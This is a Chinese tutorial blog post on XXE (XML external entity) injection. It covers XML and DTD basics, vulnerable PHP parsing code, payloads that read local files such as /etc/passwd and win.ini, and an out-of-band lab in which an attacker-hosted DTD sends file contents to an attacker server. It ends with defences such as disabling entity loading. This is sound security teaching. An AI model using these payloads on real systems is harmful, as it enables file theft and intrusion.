XML 外部实体注入---XXE

XML介绍及用途

XML 被设计用来传输和存储数据。XML文档形成了一种树结构,它从"根部"开始,然后扩展到"枝叶"。
XML 允许创作者定义自己的标签和自己的文档结构。

XML语法规则

  1. 所有的XML元素都必须有一个关闭标签
  2. XML 标签对大小写敏感
  3. XML必须正确嵌套
  4. XML属性值必须加引号
  5. 实体引用
  6. 在XML中,空格会被保留

XML元素介绍

XML元素指的是从(且包括)开始标签直到(且包括)结束标签的部分

每个元素又可以有对应的属性。XML属性必须加引号

注意:

  • XML文档必须有一个根元素
  • XML元素都必须有一个关闭标签
  • XML标签对大小写敏感
  • XML元素必须被正确的嵌套
  • XML属性值必须加引号
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

XML DTD介绍

拥有正确语法的XML被称为"形式良好"的XML。通过DTD验证的XML是"合法"的XML。

DTD 声明类型

  • 内部的DOCTYPE声明:<!DOCTYPE root-element [element-declarations]>
<?xml version="1.0"?>
<!DOCTYPE note[
 <!ELEMENT note(to,from,heading,body)>
 <!ELEMENT to  (#PCDATA)>
 <!ELEMENT from (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
  • 外部文档声明:假如DTD位于XML源文件的外部,那么它应通过下面的语法被封装在一个DOCTYPE定义中:<!DOCTYPE root-element SYSTEM "filename">

note.dtd文件

 <!ELEMENT note(to,from,heading,body)>
 <!ELEMENT to  (#PCDATA)>
 <!ELEMENT from (#PCDATA)>
 <!ELEMENT heading (#PCDATA)>
 <!ELEMENT body (#PCDATA)>

xml文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

DTD 数据类型

  • PCDATA 的意思是被解析的字符数据(parsed character data)。
    PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

  • CDATA 的意思是字符数据(character data) 。
    CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

DTD 实体介绍

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

内部实体:<!ENTITY entity-name "entity-value">

外部实体:<!ENTITY entity-name SYSTEM "UR/URL">

XML 注入(XXE)产生的原理

XXE漏洞 全称XML External Entity Injection,即xml外部实体注入漏洞

XXE漏洞 发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

XXE 漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

简单的XXE 漏洞代码编写

file_get_contents()函数

file_get_contents()函数把整个文件读入一个字符串中。

file_get_contents(path,include_path,context ,start ,max_Length)

path             必选。规定要读取的文件
include_path     可选。如果也想在include_path中搜寻文件的话,可以将该参数设为"1"。
context          可选。规定文件句柄的环境。PHP5.0.0添加
                 context是一套可以修改流的行为的选项。若使用null,则忽略。
start            可选。规定在文件中开始读取的位置。该参数是PHP 5.1新加的。
max_length       可选。规定读取的字节数。该参数是PHP 5.1新加的。

php封装协议—php://input

php://input是个可以访问请求的原始数据的只读流。

结合file_get_contents(“php://input”)可以读取POST提交的数据。

<?php
$str = file_get_contents("php://input");
echo $str;
?>

在这里插入图片描述

simplexml_load_string()函数

php中的simplexmt_load_string()函数将xml格式字符串转换为对应的SimpleXMLElement对象

<?php
$str = <<<XML
<note>
<to>Tov</to>
<from>Jahi</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;
$xml = simplexml_load_string($str);
var_dump($xml);
?>

在这里插入图片描述

XML 注入回显 输出函数

<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
var_dump($data);
echo "</pre>";
?>

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"><!--读取服务器本地文件-->
]>
<root>
<name>&xxe;</name> <!--&xxe;是引用外部的xxe-->
</root>

在这里插入图片描述

XXE 漏洞利用

任意文件读取

<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
echo "<pre>";
var_dump($data);
echo "</pre>";
?>

测试poc:

读取本地文件
file:///path/to/file.ext
读取远程文件
http://url/file.ext
使用base64编码读取php文件
php://filter/read=convert.base64-encode/resource=conf.php

读取服务器本地文件(有回显)

构造payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///c://test/flag.txt">
]>
<value>&xxe;</value>

在这里插入图片描述

pentesterlab的安装

镜像下载地址:https://isos.pentesterlab.com/play_xxe.iso
默认用户名和密码都是:pentestlab
在这里插入图片描述
打开虚拟机之后就可以用ip来进行访问:
在这里插入图片描述

测试原理

在这里插入图片描述
实验环境:

  • Attacker’s server:kali
  • 含有XXE的Server:pentesterlab

实验内容:
无回显的读取文件

请求XML文件:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://192.168.35.131/test.dtd">
<foo>&e1;</foo>

攻击者服务器DTD文件:

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.35.131/test.php?con=%p1;'>">
%p2;

在这里插入图片描述

攻击者服务器test.php文件:

<?php
echo $_GET['con'];
?>

在这里插入图片描述

开始实验:
在kali中访问含XXE的服务器登录并抓包:
在这里插入图片描述

输入请求XML之后进行发送并在攻击者服务器开启wireshark进行抓包分析:
在这里插入图片描述

XXE 防御策略

  • XXE 消亡的原因
    libxml 2.90以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。
  • 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmIData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据
    关键词:<!DOCTYPE<!ENTITY或者SYSTEMPUBLIC
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值